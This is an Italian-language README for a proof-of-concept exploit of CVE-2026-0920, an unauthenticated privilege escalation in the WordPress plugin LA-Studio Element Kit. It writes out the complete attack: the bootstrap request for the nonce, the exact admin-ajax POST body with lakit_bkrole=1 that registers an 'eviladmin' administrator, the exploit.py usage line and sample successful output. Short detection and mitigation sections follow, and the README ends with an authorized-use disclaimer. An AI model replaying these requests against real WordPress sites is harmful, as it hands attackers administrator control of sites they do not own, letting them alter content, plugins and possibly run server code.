
Proof-of-concept exploit per CVE-2026-0920, un'escalation dei privilegi non autenticata nel plugin WordPress LA-Studio Element Kit, che consente la creazione di account amministratore.
Una proof-of-concept per CVE-2026-0920, una vulnerabilità di escalation dei privilegi non autenticata nel plugin WordPress LA-Studio Element Kit.
La vulnerabilità consente a un attaccante non autenticato di abusare della funzionalità di registrazione del plugin e creare un account WordPress con privilegi di amministratore.
Questo repository contiene una proof-of-concept in Python progettata per ricerca sulla sicurezza autorizzata, validazione delle vulnerabilità e ambienti di laboratorio controllati.
| Proprietà | Valore |
|---|---|
| CVE | CVE-2026-0920 |
| Vendor | LA-Studio |
| Prodotto | Element Kit |
| Piattaforma | WordPress |
| Vulnerabilità | Escalation dei privilegi non autenticata |
| Autenticazione richiesta | No |
| CWE | CWE-269 |
| Impatto | Creazione di account amministratore |
| PoC | exploit.py |
La vulnerabilità risiede nella funzionalità di registrazione del plugin, dove i dati di registrazione controllati dall'attaccante possono influenzare il privilegio assegnato a un account WordPress appena creato.
Il parametro vulnerabile è:
lakit_bkrole
Fornendo un valore di ruolo elevato durante la registrazione, un attaccante non autenticato può causare l'assegnazione di privilegi di amministratore WordPress all'account appena creato.
LA-Studio Element Kit fornisce funzionalità per registrare utenti tramite un gestore di registrazione basato su AJAX.
Il flusso vulnerabile espone un meccanismo di registrazione tramite:
/wp-admin/admin-ajax.php
La richiesta utilizza l'azione AJAX:
lakit_ajax
ed esegue un'operazione di registrazione utilizzando:
{
"action": "register"
}
Il problema di sicurezza si verifica perché la logica di registrazione lato server non impedisce correttamente a un client non autenticato di fornire un valore di ruolo privilegiato tramite:
lakit_bkrole=1
Un attaccante può quindi costruire una richiesta di registrazione che comporta la creazione di un account WordPress con il ruolo administrator.
Non è richiesto alcun account WordPress esistente per eseguire l'attacco.
La PoC esegue un processo in tre fasi:
┌──────────────────────┐
│ Bootstrap Endpoint │
│ │
│ Obtain nonce and │
│ plugin information │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Registration Request │
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Verification │
│ │
│ Locate created user │
│ Confirm administrator│
│ role │
└──────────────────────┘
L'exploit non si basa esclusivamente sulla risposta di registrazione.
Invece, verifica che l'account appena creato esista effettivamente e abbia privilegi di amministratore.
La prima richiesta ha come destinazione:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
Esempio:
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
Un'istanza di laboratorio vulnerabile può restituire:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
La PoC estrae il nonce da:
"nonce": "577023f674"
Il nonce viene quindi fornito alla richiesta di registrazione.
La risposta bootstrap può anche esporre gli utenti attualmente registrati, il che consente alla PoC di confrontare l'elenco degli utenti prima e dopo lo sfruttamento.
La PoC invia la richiesta di registrazione a:
/wp-admin/admin-ajax.php
La richiesta utilizza:
action=lakit_ajax
con un'azione di registrazione annidata:
action=register
Una richiesta rappresentativa è:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
I dati di registrazione rilevanti sono:
{
"username": "eviladmin",
"email": "[email protected]",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
Il parametro sensibile per la sicurezza è:
lakit_bkrole=1
La richiesta viene eseguita senza una sessione WordPress autenticata.
Una richiesta di registrazione riuscita restituisce una risposta HTTP 200 OK.
Esempio:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
La risposta JSON è strutturata in modo simile a:
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
La PoC riporta:
[+] User creation appears successful.
Tuttavia, la PoC non considera questa risposta da sola una prova sufficiente dell'escalation dei privilegi.
L'account viene verificato nella fase successiva.
Dopo la registrazione, la PoC richiede nuovamente l'endpoint bootstrap:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
La risposta ora contiene l'account appena creato.
Esempio:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
L'evidenza critica è:
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
Ciò conferma che l'account controllato dall'attaccante è stato creato con privilegi di amministratore.
Un normale processo di registrazione non autenticato dovrebbe creare un account con un ruolo limitato come:
subscriber
Al client non dovrebbe essere consentito di selezionare un ruolo WordPress privilegiato.
Il flusso vulnerabile consente effettivamente:
Attaccante non autenticato
|
v
Endpoint di registrazione
|
v
Parametro di ruolo controllato dall'attaccante
|
v
Creazione utente WordPress
|
v
administrator
Questo supera il confine di privilegi previsto senza richiedere un'autenticazione precedente.
La PoC richiede:
Python 3
Accesso di rete al target
Un'installazione vulnerabile di LA-Studio Element Kit
Non sono richieste credenziali WordPress.
Esegui l'exploit utilizzando l'indirizzo e la porta del target:
python exploit.py -t 127.0.0.1 -p 8103
La sintassi è:
python exploit.py -t <target> -p <porta>
Per esempio:
python exploit.py -t 127.0.0.1 -p 8103
Un'esecuzione di sfruttamento riuscita appare così:
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
Le fasi di verifica importanti sono:
[+] User creation appears successful.
seguite da:
[+] User 'eviladmin' found. Roles: ['administrator']
e infine:
[+] Confirmed administrator privilege!
Il messaggio finale indica che la PoC ha verificato l'escalation dei privilegi piuttosto che aver semplicemente ricevuto una risposta HTTP di successo.
L'esecuzione completa della PoC può essere riassunta come:
1. Target specificato
|
v
2. Endpoint bootstrap richiesto
|
v
3. Nonce di registrazione estratto
|
v
4. Utenti esistenti enumerati
|
v
5. Richiesta di registrazione dannosa inviata
|
v
6. Nuovo account creato
|
v
7. Endpoint bootstrap interrogato nuovamente
|
v
8. Nuovo account individuato
|
v
9. Ruolo dell'account verificato
|
v
10. Privilegio administrator confermato
GET /wp-json/cve-2026-0920/v1/bootstrap
Scopo:
- Identificare il plugin
- Ottenere il nonce
- Ottenere l'endpoint di registrazione
- Registrare gli utenti esistenti
POST /wp-admin/admin-ajax.php
Parametri importanti:
action=lakit_ajax
_nonce=<nonce>
actions=<JSON di registrazione>
Dati di registrazione:
username=<nome utente controllato dall'attaccante>
email=<email controllata dall'attaccante>
password=<password controllata dall'attaccante>
password-confirm=<password controllata dall'attaccante>
lakit_bkrole=1
Scopo:
Creare l'account controllato dall'attaccante.
GET /wp-json/cve-2026-0920/v1/bootstrap
Scopo:
- Confermare che l'account esista
- Ispezionare il ruolo dell'account
- Verificare i privilegi di amministratore
Lo sfruttamento riuscito è confermato quando la risposta contiene l'account generato con:
"roles": [
"administrator"
]
Lo sfruttamento riuscito fornisce a un attaccante non autenticato un account amministratore WordPress.
A seconda dell'installazione WordPress, l'accesso come amministratore può consentire a un attaccante di:
- Modificare i contenuti del sito
- Creare account privilegiati aggiuntivi
- Modificare i plugin
- Modificare i temi
- Modificare le impostazioni di WordPress
- Accedere a funzionalità amministrative privilegiate
- Modificare i dati dell'applicazione
- Potenzialmente eseguire codice lato server tramite le funzionalità WordPress disponibili
L'impatto finale dipende dalla configurazione di hosting, dai plugin abilitati, dai controlli di sicurezza di WordPress e dalle funzionalità amministrative disponibili.
I difensori dovrebbero monitorare richieste inattese che coinvolgono:
/wp-admin/admin-ajax.php
combinate con:
action=lakit_ajax
e richieste di registrazione contenenti:
lakit_bkrole
Gli account amministratore WordPress inattesi dovrebbero inoltre essere indagati.
Un controllo difensivo particolarmente utile è verificare gli account creati di recente e confrontare i loro timestamp e ruoli con l'attività amministrativa legittima.
La mitigazione principale è aggiornare LA-Studio Element Kit a una versione contenente la correzione di sicurezza.
Gli amministratori dovrebbero inoltre:
- Rivedere gli account amministratore esistenti
- Rimuovere gli account non autorizzati
- Verificare la creazione recente di utenti WordPress
- Monitorare le richieste admin-ajax sospette
- Limitare l'esposizione non necessaria delle funzionalità amministrative di WordPress
- Mantenere aggiornati WordPress e i plugin installati
Se si sospetta una compromissione, ruotare le credenziali WordPress interessate e indagare per eventuali modifiche non autorizzate aggiuntive.
La PoC è stata testata in un ambiente di laboratorio controllato con:
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Web Server: Apache/2.4.59
PHP: 8.2.21
Target: http://127.0.0.1:8103
Il test riuscito ha prodotto:
User: eviladmin
Role: administrator
Questo progetto è fornito per ricerca sulla sicurezza autorizzata, validazione delle vulnerabilità e uso educativo in laboratorio.
Testa solo sistemi che possiedi o per i quali hai esplicita autorizzazione a valutare.
Non utilizzare questa PoC contro sistemi senza autorizzazione.